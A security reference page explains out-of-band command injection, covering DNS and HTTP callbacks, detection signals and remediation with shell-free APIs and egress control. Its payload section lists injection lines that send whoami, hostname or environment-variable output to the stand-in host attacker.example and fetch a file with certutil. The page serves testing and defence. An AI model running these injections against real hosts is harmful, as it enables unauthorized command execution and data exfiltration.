Out-of-band command injection via DNS and HTTP
Out-of-band command injection confirms execution by making the target host contact an external server the tester controls. When output is not reflected, an injected `nslookup`, `curl`, `wget`, `certutil` or PowerShell web request produces a DNS or HTTP callback that both proves the command ran and can carry exfiltrated data in the request.
How it works
The tester injects a command that initiates a network request to a unique hostname on infrastructure they control (an interaction server or their own DNS). When the callback arrives, it proves code execution. Nesting command substitution into the hostname — `$(whoami).id.attacker.example` — exfiltrates command output through the subdomain label, even when only DNS egress is allowed.
DNS is the most permissive channel because resolvers often work even when direct HTTP egress is blocked. HTTP callbacks (curl/wget/Invoke-WebRequest) can carry larger payloads. On Windows, living-off-the-land binaries like `certutil -urlcache` and `nslookup` are common because they're present by default.
Representative payloads
Illustrative fragments for authorized testing. The injected marker commands (id, whoami) are harmless proofs of execution — swap in your engagement’s agreed markers.
; nslookup $(whoami).attacker.exampleLinux / UnixDNS callback carrying the current user in the subdomain. Works where only DNS egress is permitted.
; curl http://attacker.example/$(hostname)Linux / UnixHTTP callback that confirms execution and exfiltrates the hostname in the path.
& nslookup %COMPUTERNAME%.attacker.exampleWindowsWindows DNS callback expanding an environment variable into the subdomain.
& certutil -urlcache -f http://attacker.example/a aWindowscertutil fetches a URL (LOLBin), producing an HTTP callback from a default Windows binary.
When it works
- The application host can resolve DNS or make outbound HTTP requests.
- A command is injectable even though its output isn't reflected.
When it fails
- Egress filtering blocks outbound DNS and HTTP from the host.
- No injectable sink exists.
Detection
Monitor outbound DNS/HTTP from application hosts for unfamiliar domains and for LOLBins making network requests.
Signals to look for
- DNS queries to random or data-looking subdomains of external domains from app servers.
- Application processes spawning nslookup, dig, curl, wget, certutil, or powershell with a URL.
- Egress-proxy entries for destinations not used by the application normally.
Where to look
Remediation
The correct fix: Run commands shell-free with argv arrays and block outbound egress from app hosts so no callback channel can form.
Principles
- Shell-free execution stops the injected network command from running.
- Default-deny egress (allowlist only required destinations) removes the out-of-band channel even if code runs.
- Lock down DNS so app hosts resolve only through a controlled, logged resolver.
Safe APIs by runtime
execFile/spawn with args array; use dns module instead of nslookup.
require('node:dns').promises.lookup(host)subprocess.run([...], shell=False); use socket/requests libraries instead of curl.
subprocess.run(["dig", "+short", host])Not a fix: Relying only on blocking 'curl' and 'wget' by name. nslookup, certutil, bash /dev/tcp, Python and PowerShell all open outbound channels; egress control is the durable mitigation.
For the full secure-coding matrix across languages, see the command injection prevention guide.